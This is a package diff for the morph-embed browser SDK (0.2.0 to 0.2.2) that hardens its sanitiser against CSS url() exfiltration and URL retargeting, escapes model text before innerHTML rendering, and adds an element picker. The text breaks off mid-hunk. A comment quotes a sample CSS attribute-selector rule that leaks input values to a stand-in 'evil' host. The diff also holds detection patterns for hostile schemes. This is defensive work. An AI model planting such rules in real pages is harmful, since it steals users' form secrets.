morph-embed 0.2.0 → 0.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/morph-embed.esm.mjs +264 -9
- package/dist/morph-embed.js +264 -9
- package/package.json +1 -1
package/dist/morph-embed.esm.mjs
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
/*! Morph Embed SDK v0.2.
|
|
1
|
+
/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
|
|
2
2
|
const g = typeof window !== "undefined" ? window : globalThis;
|
|
3
3
|
|
|
4
4
|
/* ---- shared/dsl.js ---- */
|
|
@@ -77,6 +77,17 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
77
77
|
// URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
|
|
78
78
|
const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
|
|
79
79
|
|
|
80
|
+
// setAttr must never retarget the URL of these elements even to an https host:
|
|
81
|
+
// <base href> rewrites how every relative URL on the page resolves; <link>,
|
|
82
|
+
// <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
|
|
83
|
+
// rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
|
|
84
|
+
const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
|
|
85
|
+
// Cheap purely-static check: does a selector name one of those tags directly?
|
|
86
|
+
function selectorNamesBlockedTag(selector) {
|
|
87
|
+
const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
|
|
88
|
+
return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
|
|
89
|
+
}
|
|
90
|
+
|
|
80
91
|
// Modest length caps (DoS hygiene; generous enough not to clip real payloads).
|
|
81
92
|
const MAX_CSS = 200000;
|
|
82
93
|
const MAX_HTML = 200000;
|
|
@@ -120,6 +131,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
120
131
|
/behavior\s*:/.test(normalized) ||
|
|
121
132
|
/-moz-binding/.test(normalized) ||
|
|
122
133
|
/url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
|
|
134
|
+
// external url() (scheme or protocol-relative), except inline data:image —
|
|
135
|
+
// backstop for escape/comment-obfuscated exfil the token pass missed
|
|
136
|
+
/url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
|
|
123
137
|
/(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
|
|
124
138
|
);
|
|
125
139
|
}
|
|
@@ -146,6 +160,23 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
146
160
|
/url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
|
|
147
161
|
'url($1about:blank#)'
|
|
148
162
|
);
|
|
163
|
+
// EXTERNAL url() exfiltration channel: a model reshape must never fetch an
|
|
164
|
+
// off-page resource (the product is reshape-only, on-page data only). An
|
|
165
|
+
// attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
|
|
166
|
+
// leaks page secrets to an attacker host with zero interaction. Neutralize
|
|
167
|
+
// any url() whose target is absolute (has a scheme) or protocol-relative
|
|
168
|
+
// (//host), EXCEPT data:image/* (inline, no network). Relative paths
|
|
169
|
+
// (same-origin, can't exfiltrate cross-origin) are preserved.
|
|
170
|
+
out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
|
|
171
|
+
const target = String(inner)
|
|
172
|
+
.replace(/\/\*[\s\S]*?\*\//g, '') // comments
|
|
173
|
+
.trim()
|
|
174
|
+
.replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
|
|
175
|
+
.trim();
|
|
176
|
+
if (/^data:image\//i.test(target)) return full; // inline image OK
|
|
177
|
+
if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
|
|
178
|
+
return full; // relative -> OK
|
|
179
|
+
});
|
|
149
180
|
// bare scheme prefixes inside the value (style attr context)
|
|
150
181
|
if (mode === 'style') {
|
|
151
182
|
out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
|
|
@@ -381,6 +412,11 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
381
412
|
const n = normalizeAttrName(op.name);
|
|
382
413
|
if (n.startsWith('on')) return 'event-handler attr blocked';
|
|
383
414
|
if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
|
|
415
|
+
// Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
|
|
416
|
+
// to https — because that loads external content or reroutes the page.
|
|
417
|
+
if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
|
|
418
|
+
return 'url retarget on ' + n + ' blocked for framing/base/link targets';
|
|
419
|
+
}
|
|
384
420
|
}
|
|
385
421
|
// renderData: chart type + position must be from the fixed sets. The op has
|
|
386
422
|
// two forms; either way the actual numbers come from caller-attached data at
|
|
@@ -651,8 +687,13 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
651
687
|
return () => els.forEach((el, i) => { el.textContent = prev[i]; });
|
|
652
688
|
}
|
|
653
689
|
case 'setAttr': {
|
|
654
|
-
|
|
690
|
+
let els = resolveEls(doc, op);
|
|
655
691
|
if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
|
|
692
|
+
// Airtight, selector-independent backstop: never write a URL attribute
|
|
693
|
+
// onto a framing/base/link element regardless of how it was matched.
|
|
694
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
695
|
+
els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
696
|
+
}
|
|
656
697
|
if (!els.length) return null;
|
|
657
698
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
658
699
|
els.forEach((el) => el.setAttribute(op.name, op.value));
|
|
@@ -910,7 +951,10 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
910
951
|
}
|
|
911
952
|
case 'setAttr': {
|
|
912
953
|
if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
|
|
913
|
-
|
|
954
|
+
let els = unmarked(doc, op.selector, token);
|
|
955
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
956
|
+
els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
957
|
+
}
|
|
914
958
|
if (!els.length) return { touched: 0 };
|
|
915
959
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
916
960
|
els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
|
|
@@ -2270,7 +2314,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2270
2314
|
function aimActive(on) { if (els && els.aim) els.aim.classList.toggle('on', !!on); }
|
|
2271
2315
|
|
|
2272
2316
|
window.Morph.bar = {
|
|
2273
|
-
|
|
2317
|
+
// No onPick handler -> no picker in this embedding: hide the ⌖ button so
|
|
2318
|
+
// users never see a dead control (the extension always passes onPick).
|
|
2319
|
+
mount(h) { handlers = h || {}; if (!host) build(); if (els && els.aim) els.aim.style.display = handlers.onPick ? '' : 'none'; },
|
|
2274
2320
|
show, hide, toggle,
|
|
2275
2321
|
setStatus, clearStatus, setBusy, showActions,
|
|
2276
2322
|
isVisible: () => visible,
|
|
@@ -2290,6 +2336,152 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2290
2336
|
})();
|
|
2291
2337
|
|
|
2292
2338
|
|
|
2339
|
+
/* ---- extension/src/picker.js ---- */
|
|
2340
|
+
/*
|
|
2341
|
+
* Element picker — lets the user click a specific element on the page so the next
|
|
2342
|
+
* reshape is scoped to it (and its descendants) instead of the model guessing
|
|
2343
|
+
* selectors across the whole page.
|
|
2344
|
+
*
|
|
2345
|
+
* start(onPick, onCancel) : enter pick mode (hover highlights, click selects, Esc cancels)
|
|
2346
|
+
* stop() : leave pick mode
|
|
2347
|
+
* selectorFor(el, doc) : PURE — a stable-ish unique CSS selector for el
|
|
2348
|
+
* describe(el) : PURE — a short human label for el
|
|
2349
|
+
*
|
|
2350
|
+
* Attaches to window.Morph.picker. Pure helpers are CJS-exported for tests.
|
|
2351
|
+
*/
|
|
2352
|
+
(function () {
|
|
2353
|
+
'use strict';
|
|
2354
|
+
window.Morph = window.Morph || {};
|
|
2355
|
+
|
|
2356
|
+
// Prefer the spec-correct native CSS.escape (all modern browsers have it). Fall
|
|
2357
|
+
// back (e.g. jsdom / very old engines) to a regex that backslash-escapes any
|
|
2358
|
+
// non-identifier char AND escapes a leading digit per the CSS spec — otherwise
|
|
2359
|
+
// an id like "2col" yields the INVALID selector "#2col", which throws at
|
|
2360
|
+
// querySelectorAll and forces a weaker, possibly non-unique path.
|
|
2361
|
+
function cssEscape(s) {
|
|
2362
|
+
s = String(s);
|
|
2363
|
+
if (typeof window !== 'undefined' && window.CSS && typeof window.CSS.escape === 'function') {
|
|
2364
|
+
return window.CSS.escape(s);
|
|
2365
|
+
}
|
|
2366
|
+
return s.replace(/[^a-zA-Z0-9_-]/g, (c) => '\\' + c).replace(/^([0-9])/, (m, d) => '\\3' + d + ' ');
|
|
2367
|
+
}
|
|
2368
|
+
|
|
2369
|
+
// A reasonably-unique selector: prefer a unique #id (anchoring the path there if
|
|
2370
|
+
// an ancestor has one), else a short `>`-path with :nth-of-type disambiguation.
|
|
2371
|
+
function selectorFor(el, doc) {
|
|
2372
|
+
doc = doc || (el && el.ownerDocument) || (typeof document !== 'undefined' ? document : null);
|
|
2373
|
+
if (!el || el.nodeType !== 1 || !doc) return '';
|
|
2374
|
+
if (el.id) {
|
|
2375
|
+
const sel = '#' + cssEscape(el.id);
|
|
2376
|
+
try { if (doc.querySelectorAll(sel).length === 1) return sel; } catch (_) { /* keep going */ }
|
|
2377
|
+
}
|
|
2378
|
+
const parts = [];
|
|
2379
|
+
let node = el;
|
|
2380
|
+
let depth = 0;
|
|
2381
|
+
while (node && node.nodeType === 1 && node !== doc.body && node !== doc.documentElement && depth < 6) {
|
|
2382
|
+
if (node.id) {
|
|
2383
|
+
const idSel = '#' + cssEscape(node.id);
|
|
2384
|
+
let unique = false;
|
|
2385
|
+
try { unique = doc.querySelectorAll(idSel).length === 1; } catch (_) { unique = false; }
|
|
2386
|
+
if (unique) { parts.unshift(idSel); return parts.join(' > '); }
|
|
2387
|
+
}
|
|
2388
|
+
let part = node.tagName.toLowerCase();
|
|
2389
|
+
const parent = node.parentNode;
|
|
2390
|
+
if (parent && parent.children) {
|
|
2391
|
+
const sameTag = Array.prototype.filter.call(parent.children, (c) => c.tagName === node.tagName);
|
|
2392
|
+
if (sameTag.length > 1) part += ':nth-of-type(' + (sameTag.indexOf(node) + 1) + ')';
|
|
2393
|
+
}
|
|
2394
|
+
parts.unshift(part);
|
|
2395
|
+
node = node.parentNode;
|
|
2396
|
+
depth++;
|
|
2397
|
+
}
|
|
2398
|
+
return parts.join(' > ');
|
|
2399
|
+
}
|
|
2400
|
+
|
|
2401
|
+
function describe(el) {
|
|
2402
|
+
if (!el || el.nodeType !== 1) return 'element';
|
|
2403
|
+
let s = el.tagName.toLowerCase();
|
|
2404
|
+
if (el.id) s += '#' + el.id;
|
|
2405
|
+
else if (el.classList && el.classList.length) s += '.' + el.classList[0];
|
|
2406
|
+
const text = (el.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 24);
|
|
2407
|
+
if (text) s += ' “' + text + '”';
|
|
2408
|
+
return s;
|
|
2409
|
+
}
|
|
2410
|
+
|
|
2411
|
+
// --- interactive pick mode (needs a live DOM) -----------------------------
|
|
2412
|
+
let active = false, overlay = null, current = null, pickCb = null, cancelCb = null;
|
|
2413
|
+
|
|
2414
|
+
function ensureOverlay() {
|
|
2415
|
+
if (overlay) return overlay;
|
|
2416
|
+
overlay = document.createElement('div');
|
|
2417
|
+
overlay.setAttribute('data-morph-pick-overlay', '1');
|
|
2418
|
+
const s = overlay.style;
|
|
2419
|
+
s.position = 'fixed'; s.zIndex = '2147483646'; s.pointerEvents = 'none';
|
|
2420
|
+
s.border = '2px solid #ffffff'; s.boxShadow = '0 0 0 1px #000, 0 0 0 4px rgba(255,255,255,0.25)';
|
|
2421
|
+
s.background = 'rgba(255,255,255,0.06)'; s.borderRadius = '2px'; s.display = 'none';
|
|
2422
|
+
s.transition = 'left .04s linear, top .04s linear, width .04s linear, height .04s linear';
|
|
2423
|
+
return overlay;
|
|
2424
|
+
}
|
|
2425
|
+
|
|
2426
|
+
// Never let the picker target Morph's own UI (the bar host or this overlay).
|
|
2427
|
+
function isOurs(el) {
|
|
2428
|
+
try { return !!(el && el.closest && el.closest('#morph-host-root, [data-morph-pick-overlay]')); }
|
|
2429
|
+
catch (_) { return false; }
|
|
2430
|
+
}
|
|
2431
|
+
|
|
2432
|
+
function moveOverlay(el) {
|
|
2433
|
+
const r = el.getBoundingClientRect();
|
|
2434
|
+
const s = overlay.style;
|
|
2435
|
+
s.display = 'block';
|
|
2436
|
+
s.left = r.left + 'px'; s.top = r.top + 'px'; s.width = r.width + 'px'; s.height = r.height + 'px';
|
|
2437
|
+
}
|
|
2438
|
+
|
|
2439
|
+
function onMove(e) {
|
|
2440
|
+
const el = e.target;
|
|
2441
|
+
if (!el || isOurs(el)) { overlay.style.display = 'none'; current = null; return; }
|
|
2442
|
+
current = el;
|
|
2443
|
+
try { moveOverlay(el); } catch (_) { /* never break the page */ }
|
|
2444
|
+
}
|
|
2445
|
+
function onClick(e) {
|
|
2446
|
+
if (isOurs(e.target)) return; // let our own UI receive clicks
|
|
2447
|
+
e.preventDefault(); e.stopPropagation();
|
|
2448
|
+
finish(current || e.target);
|
|
2449
|
+
}
|
|
2450
|
+
function onKey(e) { if (e.key === 'Escape') { e.preventDefault(); cancel(); } }
|
|
2451
|
+
|
|
2452
|
+
function teardown() {
|
|
2453
|
+
active = false; current = null;
|
|
2454
|
+
try {
|
|
2455
|
+
document.removeEventListener('mousemove', onMove, true);
|
|
2456
|
+
document.removeEventListener('click', onClick, true);
|
|
2457
|
+
document.removeEventListener('keydown', onKey, true);
|
|
2458
|
+
if (document.documentElement) document.documentElement.style.cursor = '';
|
|
2459
|
+
if (overlay) overlay.style.display = 'none';
|
|
2460
|
+
} catch (_) { /* noop */ }
|
|
2461
|
+
}
|
|
2462
|
+
function finish(el) { const cb = pickCb; teardown(); if (cb) { try { cb(el); } catch (_) {} } }
|
|
2463
|
+
function cancel() { const cb = cancelCb; teardown(); if (cb) { try { cb(); } catch (_) {} } }
|
|
2464
|
+
|
|
2465
|
+
function start(onPick, onCancel) {
|
|
2466
|
+
if (active) return;
|
|
2467
|
+
active = true; pickCb = onPick; cancelCb = onCancel;
|
|
2468
|
+
try {
|
|
2469
|
+
ensureOverlay();
|
|
2470
|
+
(document.body || document.documentElement).appendChild(overlay);
|
|
2471
|
+
document.addEventListener('mousemove', onMove, true);
|
|
2472
|
+
document.addEventListener('click', onClick, true);
|
|
2473
|
+
document.addEventListener('keydown', onKey, true);
|
|
2474
|
+
if (document.documentElement) document.documentElement.style.cursor = 'crosshair';
|
|
2475
|
+
} catch (_) { teardown(); }
|
|
2476
|
+
}
|
|
2477
|
+
function stop() { teardown(); }
|
|
2478
|
+
function isActive() { return active; }
|
|
2479
|
+
|
|
2480
|
+
window.Morph.picker = { start, stop, isActive, selectorFor, describe };
|
|
2481
|
+
if (typeof module !== 'undefined' && module.exports) module.exports = { selectorFor, describe };
|
|
2482
|
+
})();
|
|
2483
|
+
|
|
2484
|
+
|
|
2293
2485
|
/* ---- sdk/src/ui.js ---- */
|
|
2294
2486
|
/*
|
|
2295
2487
|
* Morph SDK — UI layer: launcher + edits panel + undo toast, isolated in a
|
|
@@ -2667,6 +2859,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2667
2859
|
const store = deps.store;
|
|
2668
2860
|
const bar = deps.bar;
|
|
2669
2861
|
const ui = deps.ui || null;
|
|
2862
|
+
const picker = deps.picker || null;
|
|
2670
2863
|
const extractContext = deps.extractContext;
|
|
2671
2864
|
const fetchFn = deps.fetchFn;
|
|
2672
2865
|
const stageDelays = deps.stageDelays || STAGE_DELAYS;
|
|
@@ -2700,10 +2893,68 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2700
2893
|
}
|
|
2701
2894
|
backend = (typeof config.backend === 'string' && config.backend)
|
|
2702
2895
|
? config.backend.replace(/\/$/, '') : DEFAULT_BACKEND;
|
|
2703
|
-
bar
|
|
2896
|
+
// onPick only when a picker exists — the bar hides the ⌖ button when
|
|
2897
|
+
// no handler is passed, so users never see a dead control.
|
|
2898
|
+
const handlers = { onSubmit, onUndo, onHide };
|
|
2899
|
+
if (picker) handlers.onPick = onPick;
|
|
2900
|
+
bar.mount(handlers);
|
|
2704
2901
|
return api;
|
|
2705
2902
|
}
|
|
2706
2903
|
|
|
2904
|
+
// ---- element targeting (mirrors extension/src/content.js) --------------
|
|
2905
|
+
let activeTarget = null; // { selector, label } while the user has a pick
|
|
2906
|
+
|
|
2907
|
+
function escapeHtml(s) {
|
|
2908
|
+
return String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
|
|
2909
|
+
}
|
|
2910
|
+
function outlineTarget(el) {
|
|
2911
|
+
try {
|
|
2912
|
+
if (!win.document.getElementById('morph-sdk-target-style')) {
|
|
2913
|
+
const st = win.document.createElement('style');
|
|
2914
|
+
st.id = 'morph-sdk-target-style';
|
|
2915
|
+
st.textContent = '[data-morph-targeted="1"]{outline:2px solid #4c8dff !important;outline-offset:2px !important;}';
|
|
2916
|
+
win.document.documentElement.appendChild(st);
|
|
2917
|
+
}
|
|
2918
|
+
el.setAttribute('data-morph-targeted', '1');
|
|
2919
|
+
} catch (_) { /* cosmetic only */ }
|
|
2920
|
+
}
|
|
2921
|
+
function clearTargetState() {
|
|
2922
|
+
activeTarget = null;
|
|
2923
|
+
try {
|
|
2924
|
+
const el = win.document.querySelector('[data-morph-targeted="1"]');
|
|
2925
|
+
if (el) el.removeAttribute('data-morph-targeted');
|
|
2926
|
+
} catch (_) { /* noop */ }
|
|
2927
|
+
try { bar.clearTarget(); } catch (_) { /* bar optional */ }
|
|
2928
|
+
}
|
|
2929
|
+
function targetHtml() {
|
|
2930
|
+
try {
|
|
2931
|
+
const el = activeTarget && win.document.querySelector(activeTarget.selector);
|
|
2932
|
+
return el ? String(el.outerHTML).slice(0, 4000) : '';
|
|
2933
|
+
} catch (_) { return ''; }
|
|
2934
|
+
}
|
|
2935
|
+
function onPick() {
|
|
2936
|
+
if (!picker || !picker.start) return;
|
|
2937
|
+
try { bar.setStatus('Click any element on the page to target it — Esc to cancel.', ''); } catch (_) { /* noop */ }
|
|
2938
|
+
picker.start((el) => {
|
|
2939
|
+
try {
|
|
2940
|
+
const selector = picker.selectorFor(el, win.document);
|
|
2941
|
+
if (!selector) { bar.setStatus('Couldn’t target that element — try another.', 'err'); return; }
|
|
2942
|
+
activeTarget = { selector, label: picker.describe(el) };
|
|
2943
|
+
outlineTarget(el);
|
|
2944
|
+
bar.setTarget({ label: activeTarget.label, onClear: clearTargetState });
|
|
2945
|
+
bar.setStatus('Targeting <b>' + escapeHtml(activeTarget.label) + '</b>. Now type how to change it.', 'ok');
|
|
2946
|
+
if (bar.focusInput) bar.focusInput();
|
|
2947
|
+
} catch (_) { /* never break the page */ }
|
|
2948
|
+
}, () => {
|
|
2949
|
+
try { bar.aimActive(false); bar.setStatus('Pick cancelled.', ''); } catch (_) { /* noop */ }
|
|
2950
|
+
});
|
|
2951
|
+
}
|
|
2952
|
+
// Closing the bar ends targeting: cancel any in-progress pick, drop the chip.
|
|
2953
|
+
function onHide() {
|
|
2954
|
+
try { if (picker && picker.stop) picker.stop(); } catch (_) { /* noop */ }
|
|
2955
|
+
clearTargetState();
|
|
2956
|
+
}
|
|
2957
|
+
|
|
2707
2958
|
// Confirm gate for actions. window.confirm is trusted browser chrome the
|
|
2708
2959
|
// page can't spoof; a bar-styled dialog can replace it later.
|
|
2709
2960
|
function confirmFn(name, description) {
|
|
@@ -2717,7 +2968,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2717
2968
|
() => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
|
|
2718
2969
|
(e) => {
|
|
2719
2970
|
const msg = String((e && e.message) || e);
|
|
2720
|
-
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2971
|
+
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2721
2972
|
}
|
|
2722
2973
|
);
|
|
2723
2974
|
}
|
|
@@ -2798,6 +3049,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2798
3049
|
let resp;
|
|
2799
3050
|
try {
|
|
2800
3051
|
const body = { prompt, context, url: win.location.href };
|
|
3052
|
+
if (activeTarget) body.target = { selector: activeTarget.selector, html: targetHtml() };
|
|
2801
3053
|
if (registry.hasSources() || registry.hasActions()) body.manifests = registry.manifests();
|
|
2802
3054
|
const r = await fetchFn(backend + '/api/transform', {
|
|
2803
3055
|
method: 'POST',
|
|
@@ -2811,7 +3063,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2811
3063
|
resp = await r.json();
|
|
2812
3064
|
} catch (e) {
|
|
2813
3065
|
clearStages();
|
|
2814
|
-
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
|
|
3066
|
+
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
|
|
2815
3067
|
return;
|
|
2816
3068
|
}
|
|
2817
3069
|
clearStages();
|
|
@@ -2840,7 +3092,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2840
3092
|
const edit = await store.appendEdit(pathKey(), anchored, { prompt });
|
|
2841
3093
|
const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
|
|
2842
3094
|
const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
|
|
2843
|
-
|
|
3095
|
+
// setStatus renders TRUSTED HTML (innerHTML) — escape the model's
|
|
3096
|
+
// free-text explanation, exactly as the extension does (content.js).
|
|
3097
|
+
bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
|
|
2844
3098
|
bar.showActions(true);
|
|
2845
3099
|
try { bar.clearInput(); } catch (_) { /* noop */ }
|
|
2846
3100
|
await refreshCount();
|
|
@@ -2966,7 +3220,8 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2966
3220
|
});
|
|
2967
3221
|
const embed = createEmbed({
|
|
2968
3222
|
config, win: window, DSL: window.MorphDSL, registry, store,
|
|
2969
|
-
bar: window.Morph.bar, ui,
|
|
3223
|
+
bar: window.Morph.bar, ui, picker: window.Morph.picker,
|
|
3224
|
+
extractContext: window.Morph.extractContext,
|
|
2970
3225
|
fetchFn: doFetch, compose: window.MorphStorage.composeEdits,
|
|
2971
3226
|
});
|
|
2972
3227
|
embed.init();
|
package/dist/morph-embed.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
/*! Morph Embed SDK v0.2.
|
|
1
|
+
/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
|
|
2
2
|
|
|
3
3
|
/* ---- shared/dsl.js ---- */
|
|
4
4
|
/*
|
|
@@ -76,6 +76,17 @@
|
|
|
76
76
|
// URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
|
|
77
77
|
const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
|
|
78
78
|
|
|
79
|
+
// setAttr must never retarget the URL of these elements even to an https host:
|
|
80
|
+
// <base href> rewrites how every relative URL on the page resolves; <link>,
|
|
81
|
+
// <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
|
|
82
|
+
// rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
|
|
83
|
+
const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
|
|
84
|
+
// Cheap purely-static check: does a selector name one of those tags directly?
|
|
85
|
+
function selectorNamesBlockedTag(selector) {
|
|
86
|
+
const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
|
|
87
|
+
return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
|
|
88
|
+
}
|
|
89
|
+
|
|
79
90
|
// Modest length caps (DoS hygiene; generous enough not to clip real payloads).
|
|
80
91
|
const MAX_CSS = 200000;
|
|
81
92
|
const MAX_HTML = 200000;
|
|
@@ -119,6 +130,9 @@
|
|
|
119
130
|
/behavior\s*:/.test(normalized) ||
|
|
120
131
|
/-moz-binding/.test(normalized) ||
|
|
121
132
|
/url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
|
|
133
|
+
// external url() (scheme or protocol-relative), except inline data:image —
|
|
134
|
+
// backstop for escape/comment-obfuscated exfil the token pass missed
|
|
135
|
+
/url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
|
|
122
136
|
/(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
|
|
123
137
|
);
|
|
124
138
|
}
|
|
@@ -145,6 +159,23 @@
|
|
|
145
159
|
/url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
|
|
146
160
|
'url($1about:blank#)'
|
|
147
161
|
);
|
|
162
|
+
// EXTERNAL url() exfiltration channel: a model reshape must never fetch an
|
|
163
|
+
// off-page resource (the product is reshape-only, on-page data only). An
|
|
164
|
+
// attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
|
|
165
|
+
// leaks page secrets to an attacker host with zero interaction. Neutralize
|
|
166
|
+
// any url() whose target is absolute (has a scheme) or protocol-relative
|
|
167
|
+
// (//host), EXCEPT data:image/* (inline, no network). Relative paths
|
|
168
|
+
// (same-origin, can't exfiltrate cross-origin) are preserved.
|
|
169
|
+
out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
|
|
170
|
+
const target = String(inner)
|
|
171
|
+
.replace(/\/\*[\s\S]*?\*\//g, '') // comments
|
|
172
|
+
.trim()
|
|
173
|
+
.replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
|
|
174
|
+
.trim();
|
|
175
|
+
if (/^data:image\//i.test(target)) return full; // inline image OK
|
|
176
|
+
if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
|
|
177
|
+
return full; // relative -> OK
|
|
178
|
+
});
|
|
148
179
|
// bare scheme prefixes inside the value (style attr context)
|
|
149
180
|
if (mode === 'style') {
|
|
150
181
|
out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
|
|
@@ -380,6 +411,11 @@
|
|
|
380
411
|
const n = normalizeAttrName(op.name);
|
|
381
412
|
if (n.startsWith('on')) return 'event-handler attr blocked';
|
|
382
413
|
if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
|
|
414
|
+
// Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
|
|
415
|
+
// to https — because that loads external content or reroutes the page.
|
|
416
|
+
if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
|
|
417
|
+
return 'url retarget on ' + n + ' blocked for framing/base/link targets';
|
|
418
|
+
}
|
|
383
419
|
}
|
|
384
420
|
// renderData: chart type + position must be from the fixed sets. The op has
|
|
385
421
|
// two forms; either way the actual numbers come from caller-attached data at
|
|
@@ -650,8 +686,13 @@
|
|
|
650
686
|
return () => els.forEach((el, i) => { el.textContent = prev[i]; });
|
|
651
687
|
}
|
|
652
688
|
case 'setAttr': {
|
|
653
|
-
|
|
689
|
+
let els = resolveEls(doc, op);
|
|
654
690
|
if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
|
|
691
|
+
// Airtight, selector-independent backstop: never write a URL attribute
|
|
692
|
+
// onto a framing/base/link element regardless of how it was matched.
|
|
693
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
694
|
+
els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
695
|
+
}
|
|
655
696
|
if (!els.length) return null;
|
|
656
697
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
657
698
|
els.forEach((el) => el.setAttribute(op.name, op.value));
|
|
@@ -909,7 +950,10 @@
|
|
|
909
950
|
}
|
|
910
951
|
case 'setAttr': {
|
|
911
952
|
if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
|
|
912
|
-
|
|
953
|
+
let els = unmarked(doc, op.selector, token);
|
|
954
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
955
|
+
